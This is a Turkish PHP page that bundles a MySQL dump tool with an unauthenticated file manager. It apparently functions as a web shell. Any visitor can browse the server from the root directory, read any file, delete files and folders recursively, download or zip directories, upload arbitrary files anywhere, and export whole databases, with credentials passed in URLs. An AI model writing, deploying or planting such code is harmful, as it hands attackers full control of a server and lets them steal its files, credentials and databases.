<!DOCTYPE html>
<html lang="tr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
  
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            margin: 0;
            padding: 0;
            background-color: #f8f9fa;
            color: #333;
        }
        .container {
            max-width: 960px;
            margin: 40px auto;
            padding: 30px;
            background: white;
            border-radius: 12px;
            box-shadow: 0 10px 20px rgba(0, 0, 0, 0.1);
        }
        h1 {
            text-align: center;
            color: #007bff;
            font-size: 2.5em;
            margin-bottom: 20px;
        }
        h3 {
            color: #007bff;
            margin-top: 20px;
        }
        ul {
            list-style: none;
            padding: 0;
        }
        li {
            padding: 10px;
            border-bottom: 1px solid #f0f0f0;
            display: flex;
            justify-content: space-between;
            align-items: center;
            transition: background-color 0.3s;
        }
        li:hover {
            background-color: #e9ecef;
        }
        li:last-child {
            border-bottom: none;
        }
        .file {
            color: #007bff;
        }
        .folder {
            color: #28a745;
            font-weight: bold;
        }
        .btn {
            padding: 8px 18px;
            background-color: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
            text-transform: uppercase;
            transition: background-color 0.3s ease;
        }
        .btn:hover {
            background-color: #0056b3;
        }
        .btn:focus {
            outline: none;
        }
        .btn-danger {
            background-color: #dc3545;
        }
        .btn-danger:hover {
            background-color: #c82333;
        }
        .btn-success {
            background-color: #28a745;
        }
        .btn-success:hover {
            background-color: #218838;
        }
        pre {
            white-space: pre-wrap;
            word-wrap: break-word;
            background: #f8f9fa;
            padding: 15px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        form {
            margin-top: 30px;
        }
        form input[type="file"] {
            margin-right: 10px;
            padding: 6px;
            border-radius: 4px;
        }
        .message {
            padding: 10px;
            margin-top: 20px;
            border-radius: 4px;
            font-weight: bold;
        }
        .message.success {
            background-color: #d4edda;
            color: #155724;
        }
        .message.error {
            background-color: #f8d7da;
            color: #721c24;
        }
        .message.info {
            background-color: #cce5ff;
            color: #004085;
        }
    </style>
</head>
<body>

<div class="container">
<div class="container">
    <h1></h1>

   
    <h3>nve-r-t-i-</h3>
    <form method="post">
        <input type="text" name="db_host" placeholder="Host" required>
        <input type="text" name="db_user" placeholder="Kullanıcı Adı" required>
        <input type="password" name="db_pass" placeholder="Şifre" required>
        <input type="text" name="db_name" placeholder="Veritabanı Adı (Opsiyonel)">
        <button type="submit" name="db_connect" class="btn">Bağlan</button>
    </form>

    <?php
    
    if (isset($_POST['db_connect'])) {
        $host = $_POST['db_host'];
        $user = $_POST['db_user'];
        $pass = $_POST['db_pass'];
        $dbName = $_POST['db_name'];

        $conn = new mysqli($host, $user, $pass);

        if ($conn->connect_error) {
            die("<p style='color:red;'>Bağlantı Hatası: " . $conn->connect_error . "</p>");
        }

        echo "<h3>Bağlantı Başarılı!</h3>";

        
        if (!empty($dbName)) {
            echo "<h4>Yedekleme işlemi başlatılıyor...</h4>";
            exportDatabase($host, $user, $pass, $dbName);
            exit;
        }

        
        $result = $conn->query("SHOW DATABASES");
        echo "<h4>Veritabanları:</h4><ul>";
        while ($row = $result->fetch_assoc()) {
            $db = $row['Database'];
            echo "<li>$db 
                    <a href='?export_db=$db&host=$host&user=$user&pass=$pass' class='btn'>İndir</a>
                  </li>";
        }
        echo "</ul>";

        $conn->close();
    }

    
    function exportDatabase($host, $user, $pass, $dbName) {
        $conn = new mysqli($host, $user, $pass, $dbName);
        if ($conn->connect_error) {
            die("<p style='color:red;'>Bağlantı Hatası: " . $conn->connect_error . "</p>");
        }

        $sqlDump = "";
        $tables = $conn->query("SHOW TABLES");
        while ($row = $tables->fetch_array()) {
            $tableName = $row[0];

            $createTable = $conn->query("SHOW CREATE TABLE $tableName")->fetch_array()[1];
            $sqlDump .= "\n\n" . $createTable . ";\n\n";

            $rows = $conn->query("SELECT * FROM $tableName");
            while ($rowData = $rows->fetch_assoc()) {
                $sqlDump .= "INSERT INTO `$tableName` VALUES(";
                $values = [];
                foreach ($rowData as $data) {
                    $values[] = "'" . $conn->real_escape_string($data) . "'";
                }
                $sqlDump .= implode(", ", $values) . ");\n";
            }
            $sqlDump .= "\n";
        }

        $fileName = $dbName . "_backup.sql";
        header('Content-Type: application/sql');
        header('Content-Disposition: attachment; filename="' . $fileName . '"');
        echo $sqlDump;
        exit;
    }

   
    if (isset($_GET['export_db'])) {
        exportDatabase($_GET['host'], $_GET['user'], $_GET['pass'], $_GET['export_db']);
    }
    ?>
    
    <h1>Dosya ve Klasör Yöneticisi</h1>

    <?php
    
    $currentDir = isset($_GET['dir']) ? realpath($_GET['dir']) : __DIR__;
    $parentDir = dirname($currentDir);

    echo "<h3>Mevcut Dizin: $currentDir</h3>";

    
    echo "<p><a href='?dir=/' class='btn'>Ana Dizin</a>";
    if ($currentDir != '/') {
        echo " <a href='?dir=$parentDir' class='btn'>Üst Dizin</a></p>";
    }

    
    if (isset($_GET['view'])) {
        $file = realpath($_GET['view']);
        if (file_exists($file)) {
            echo "<h3>Dosya İçeriği: " . basename($file) . "</h3>";
            echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
            echo "<p><a href='?dir=$currentDir' class='btn'>Geri Dön</a></p>";
            exit;
        } else {
            echo "<div class='message error'>Dosya görüntülenemedi!</div>";
        }
    }

    
    if (isset($_GET['delete'])) {
        $deletePath = realpath($_GET['delete']);
        if (is_dir($deletePath)) {
           
            function deleteFolder($folder) {
                $files = array_diff(scandir($folder), ['.', '..']);
                foreach ($files as $file) {
                    $filePath = $folder . DIRECTORY_SEPARATOR . $file;
                    is_dir($filePath) ? deleteFolder($filePath) : unlink($filePath);
                }
                return rmdir($folder);
            }
            deleteFolder($deletePath);
        } else {
            unlink($deletePath);
        }
        echo "<div class='message success'>Silme işlemi başarılı!</div>";
    }
    ?>

    
    <ul>
        <?php
        $items = scandir($currentDir);
        foreach ($items as $item) {
            if ($item != "." && $item != "..") {
                $path = $currentDir . DIRECTORY_SEPARATOR . $item;
                $relativePath = urlencode($path);

                if (is_dir($path)) {
                    echo "<li class='folder'>📁 <a href='?dir=$relativePath'>$item</a> 
                        <a href='?delete=$relativePath' class='btn btn-danger' onclick=\"return confirm('Silmek istediğinize emin misiniz?')\">Sil</a></li>";
                } else {
                    echo "<li class='file'>📄 $item 
                        <a href='?download=$relativePath' class='btn btn-success'>İndir</a>
                        <a href='?view=$relativePath' class='btn btn-info'>Görüntüle</a>
                        <a href='?delete=$relativePath' class='btn btn-danger' onclick=\"return confirm('Silmek istediğinize emin misiniz?')\">Sil</a></li>";
                }
            }
        }
        ?>
    </ul>

    
    <form method="post">
        <input type="hidden" name="zipDir" value="<?php echo $currentDir; ?>">
        <button type="submit" name="zip" class="btn btn-success">Tümünü ZIP Olarak İndir</button>
    </form>

  
    <h3>Dosya Yükle</h3>
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="fileToUpload" required>
        <input type="hidden" name="uploadDir" value="<?php echo $currentDir; ?>">
        <button type="submit" name="upload" class='btn btn-info'>Yükle</button>
    </form>

    <?php
    
    if (isset($_GET['download'])) {
        $file = realpath($_GET['download']);
        if (file_exists($file)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            header('Content-Length: ' . filesize($file));
            readfile($file);
            exit;
        }
    }


    if (isset($_POST['zip'])) {
        $zipFile = 'archive.zip';
        $zipDir = $_POST['zipDir'];
        $zip = new ZipArchive();
        if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
            $files = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($zipDir),
                RecursiveIteratorIterator::LEAVES_ONLY
            );
            foreach ($files as $file) {
                if (!$file->isDir()) {
                    $zip->addFile($file->getRealPath(), substr($file, strlen($zipDir) + 1));
                }
            }
            $zip->close();
            echo "<div class='message success'>ZIP dosyası oluşturuldu! <a href='$zipFile'>İndir</a></div>";
        }
    }

    // Dosya yükleme
    if (isset($_POST['upload'])) {
        $uploadDir = $_POST['uploadDir'];
        $targetFile = $uploadDir . DIRECTORY_SEPARATOR . basename($_FILES["fileToUpload"]["name"]);
        move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile);
    }
    ?>
</div>
</body>
</html>
